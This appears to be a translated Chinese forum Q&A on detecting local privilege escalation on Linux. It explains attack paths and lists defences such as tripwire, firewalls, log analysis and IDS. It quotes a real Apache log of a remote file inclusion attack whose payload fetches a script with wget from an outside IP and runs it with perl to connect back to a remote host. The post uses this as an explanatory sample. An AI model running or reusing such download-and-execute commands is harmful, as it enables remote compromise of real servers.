權限提升檢測?
每次我讀到一些本地權限提升漏洞(例如this)時。
我想知道作業系統是否可以檢測到有人以 root 身份登錄(或新的 root 程序啟動)?想像一個準備有配置的 Gnu/Linux 機器,如果 root 登錄到它(或檢測到一些利用來獲得 root 權限),機器將自行中斷/關閉,並且備份機器(具有不同配置)將啟動或管理員將通知…
我的想法是否有意義,或者大多數漏洞由於其性質而無法檢測到?
漏洞利用的本質是試圖不被發現。因此,大多數漏洞利用都不是通過正常方式進入系統的,至少最初不是。他們通常會使用諸如緩衝區溢出之類的東西來訪問系統。
緩衝區溢出
這種攻擊方式會尋找應用程序中想要從使用者那裡獲取輸入的部分。考慮一個網頁和各種文本框,您必須通過在這些文本框中輸入內容來提供資訊。這些文本框中的每一個都是潛在攻擊者的潛在入口點。
好消息:
這些攻擊中的大多數都沒有獲得 root 訪問權限,它們正在獲得對專門為 Web 伺服器設置的使用者帳戶的訪問權限,因此它通常只能有限地訪問 Web 伺服器文件和功能。
在闖入攻擊者的一些領域留下了相當大的痕跡。
- 防火牆日誌
- 網路伺服器日誌
- 其他潛在的安全工具日誌
壞消息:
- 他們已經獲得了對系統的訪問權限,因此有了一個灘頭陣地,他們可以繼續嘗試進一步闖入。
- 日誌。是的,鑑於分析日誌既費時又容易出錯,因此大多數時間在數週/數月/數年內都不會檢測到入侵。
檢測root登錄
大多數係統都設計為不允許 root 登錄,因此這種攻擊媒介並不是真正的問題。大多數攻擊可以訪問其他一些較低級別的帳戶,然後在他們在您的系統上建立灘頭陣地後通過發現其他漏洞來利用。
範例#1:
攻擊者可以通過執行以下操作獲得 root 訪問權限:
- 通過找到一個易受攻擊的網頁,通過文本框處理使用者從某種形式的輸入,從而侵入系統的 Web 伺服器帳戶。
- 一旦獲得對 Web 伺服器帳戶的訪問權限,請嘗試通過 Web 伺服器的帳戶獲得 shell 訪問權限,或者嘗試讓 Web 伺服器帳戶代表您執行命令。
- 確定此特定係統版本的工具(例如 command )存在弱點
ls
。- 溢出工具
ls
以獲取對 root 帳戶的訪問權限。範例#2:
潛在的攻擊者甚至可能對完全控制您的系統不感興趣。大多數闖入者只對收集系統作為其他用途的“奴隸”感興趣。攻擊者通常只對在您的系統上安裝他們的軟體感興趣,以便他們可以使用系統,甚至沒有獲得對系統的完全控制權。
- 確定某個網站提供了 webapp X。攻擊者知道 webapp X 有一個漏洞,webapp X 允許使用者上傳圖像文件。
- 攻擊者準備一個名為
CMD.gif
並上傳的文件。例如,可能是論壇網站上的使用者頭像。但CMD.gif
不是圖像,它實際上是一個程序,名為CMD.gif
.- 攻擊者將“圖像”上傳到論壇站點。
- 現在攻擊者“欺騙”webapp X 執行他的“圖像”。
- 攻擊者使用他的瀏覽器呼叫 webapp X,但他以 webapp X 的作者從未想像過的方式呼叫它。他們也沒有設計 webapp X 來禁止它。
此類攻擊的 Web 伺服器日誌文件
201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300] "GET /cursosuperior/index.php?page=http://parit.org/CMD.gif? &cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt %2072.36.21.183%2021 HTTP/1.1" 200
**注意:**來自 Apache Web 伺服器的範例日誌由OSSEC.net提供。
在這裡,攻擊者正在讓 webapp X (index.php) 執行
CMD.gif
,然後可以執行以下操作:
cd /tmp
wget http://72.36.254.26/~fanta/dc.txt
perl dc.txt 72.36.21.183 21
因此,他們誘使 webapp X 將目錄更改為
/tmp
,下載文件,dc.txt
然後執行該文件,在埠 21 上建立與 IP 地址 72.36.21.183 的連接。禁用“受損”伺服器
您可以關閉已“檢測到”漏洞利用的伺服器的想法是一個很好的嘗試,但由於幾個原因它不起作用。
- 如果攻擊者可以進入第一個系統,那麼他們很可能可以進入第二個系統。
- 大多數係統本質上是彼此的複製。它們更易於維護,並且保持簡單(相同)是 IT 和電腦中大多數事物的標誌。
- 不同的配置意味著維護系統需要更多的工作和更多的出錯機會,這通常是導致漏洞的原因。
- 攻擊者的目標可能不是闖入,他們可能試圖拒絕訪問您的服務。這稱為拒絕服務 (DoS)。
試圖限制傷害
我可以繼續說下去,但總的來說,在保護系統方面你有一些可用的資源。
- 使用tripwire等工具來檢測系統文件系統上的更改。
- 防火牆 - 限制訪問,以便僅在需要時明確允許,而不是完全訪問所有內容。
- 使用工具分析日誌文件以檢測異常。
- 使用更新檔使系統保持最新狀態。
- 限制暴露——只安裝系統上需要的軟體——如果不需要
gcc
安裝編譯器,就不要安裝它。- IDS - 入侵檢測軟體。